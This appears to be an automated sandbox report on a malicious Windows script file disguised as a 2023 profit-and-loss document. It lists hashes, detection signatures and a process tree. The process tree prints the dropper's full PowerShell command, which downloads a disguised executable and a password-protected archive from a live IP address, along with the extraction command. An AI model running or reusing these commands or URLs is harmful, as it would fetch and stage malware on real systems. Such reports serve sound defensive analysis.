Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    22/01/2024, 21:29

General

  • Target

    PR0FlT&L0SS_2O23.wsf

  • Size

    31KB

  • MD5

    20874f5aa9f33c23c82862559cba74f6

  • SHA1

    bf1b13349c19b8bf9350441292adffe9846d5723

  • SHA256

    edc2eeccd548103567716d8f84ffad3389e061c1a0787d38d854dbf616485ebe

  • SHA512

    e553b7defd08b73ef5760b68fb47bafd2ee38763c8806b526421ff3fab70ed8240f94dae3f5c60484d779e43a6097be4714d057ba3c5c0dc2cd475ffd5b9eaed

  • SSDEEP

    768:x15HSHJkDKQvY5wcx3OxhJz42O4zcHJN67+15HSHJkDKQvY5wcx3OxhJz42O4zce:xRit2wq+Rit2wq1

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.107.185.29:666/Rar.jpg

exe.dropper

http://176.107.185.29:666/load.rar

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PR0FlT&L0SS_2O23.wsf"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-BitsTransfer -Source 'http://176.107.185.29:666/Rar.jpg' -Destination 'C:\Users\Public\Rar.exe'; Start-BitsTransfer -Source 'http://176.107.185.29:666/load.rar' -Destination 'C:\Users\Public\load.rar'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2444
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c Rar.exe x -p111 load.rar
      2⤵
        PID:2572

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/2444-7-0x000000001B320000-0x000000001B602000-memory.dmp

            Filesize

            2.9MB

          • memory/2444-8-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

            Filesize

            32KB

          • memory/2444-9-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

            Filesize

            9.6MB

          • memory/2444-10-0x0000000002910000-0x0000000002990000-memory.dmp

            Filesize

            512KB

          • memory/2444-11-0x0000000002910000-0x0000000002990000-memory.dmp

            Filesize

            512KB

          • memory/2444-12-0x0000000002910000-0x0000000002990000-memory.dmp

            Filesize

            512KB

          • memory/2444-13-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

            Filesize

            9.6MB

          • memory/2444-14-0x0000000002910000-0x0000000002990000-memory.dmp

            Filesize

            512KB

          • memory/2444-15-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

            Filesize

            9.6MB